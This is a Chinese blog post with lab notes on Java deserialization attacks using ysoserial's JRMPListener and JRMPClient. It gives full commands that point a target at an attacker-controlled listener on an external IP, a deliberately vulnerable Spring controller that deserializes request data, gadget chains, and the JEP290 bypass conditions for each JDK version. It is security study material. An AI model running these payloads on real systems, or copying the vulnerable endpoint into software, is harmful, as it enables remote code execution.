JRMPListener && JRMPClient使用小记

·
Java代码审计 no tag December 2, 2021

前言

目前很多的反序列化的漏洞在利用的过程中都使用到了JRMPListener,JRMPClient。但实际上,在ysoserial项目中,exploit和payloads这2个单词意义是不同的。以前我一直都不怎么区分这2个概念。payloads偏向于一种静态的概念,可以是生成的二进制负载数据。exploit更偏向于一种主动的攻击程序。下面我用2个本地的简单的demo就能对比一下。

因为JRMP实际上是调用远程方法,所以

使用JRMP模拟RMI Client反打

第一步

在VPS端开启JRMPListener

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 'calc'

第二步

生成JRMPClient Payloads

java -jar ysoserial.jar JRMPClient 47.97.123.81:7777|base64  -w 0

image-20211202111259224

获取base64之后的反序列化字符串

第三步

打到本机环境里

package com.example.demo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import tools.Tools;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;

@Controller
public class CommonsCollectionsVuln {

    @ResponseBody
    @RequestMapping("/cc11")
    public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
        String data = request.getParameter("data");
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "Hello,World";
    }

    @ResponseBody
    @RequestMapping("/demo")
    public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        return "This is OK Demo!";
    }
}

jdk8u231之前的版本可用(绕过JEP290) 成功弹计算器,且vps上显示调用数据

image-20211202105329047

疑问

为什么要这样打?

其实JRMP算是一条单独的链子,利用链

/** 
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)(!!JRMP请求的发送处!!)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)(这里是我们上面JRMP服务端打客户端,客户端的反序列化触发处)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 ------这里实际上不是一个连贯的调用栈,之后说明-----
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)(!!反序列化的入口!!)

反序列化的入口其实不止readobject(),还有readExternal(),只不过后者稍微少见点。

主要是为了绕过一些特定的黑名单,因为这里的反序列化内容实际上是调用了远程RMI服务,然后RMI服务调用远程服务器上的cc链。而不是直接的反序列化cc链。

使用JRMP正打,攻击RMI Server端

第一步

生成JRMPListener Payloads

java -jar ysoserial.jar JRMPListener 7778 | base64 -w 0

image-20211202112126132

打到服务器里,为了让靶机在7778端口开放一个rmi服务

第二步

攻击靶机 因为我服务器访问不到本地所以这里用了本机的ysoserial

java -cp ysoserial.jar ysoserial.exploit.JRMPClient "127.0.0.1" 7778 CommonsCollections6 "calc"

利用链

/**
 * Gadget chain:
 * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
 * UnicastRemoteObject.reexport() line: 266
 * UnicastRemoteObject.exportObject(Remote, int) line: 320
 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
 * LiveRef.exportObject(Target) line: 147
 * TCPEndpoint.exportObject(Target) line: 411
 * TCPTransport.exportObject(Target) line: 249
 * TCPTransport.listen() line: 319
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - Port number to open listener to
 */

jdk8u121,7u131,6u141之前(JEP290) 成功弹出计算器 jdk8u181下失败

参考

https://lalajun.github.io/2020/06/22/RMI%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E6%B7%B1%E5%85%A5-%E4%B8%8B/

https://lalajun.github.io/2020/06/22/RMI%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E6%B7%B1%E5%85%A5-%E4%B8%8A/#%E6%8E%A2%E6%B5%8B%E5%88%A9%E7%94%A8%E5%BC%80%E6%94%BE%E7%9A%84RMI%E6%9C%8D%E5%8A%A1

  • 内存马笔记
  • 绕过JDK 8u191+等高版本限制
取消回复

说点什么?
Title
第一步
第二步
第三步
疑问
第一步
第二步

© 2023 Yang_99的小窝. Using Typecho & Moricolor.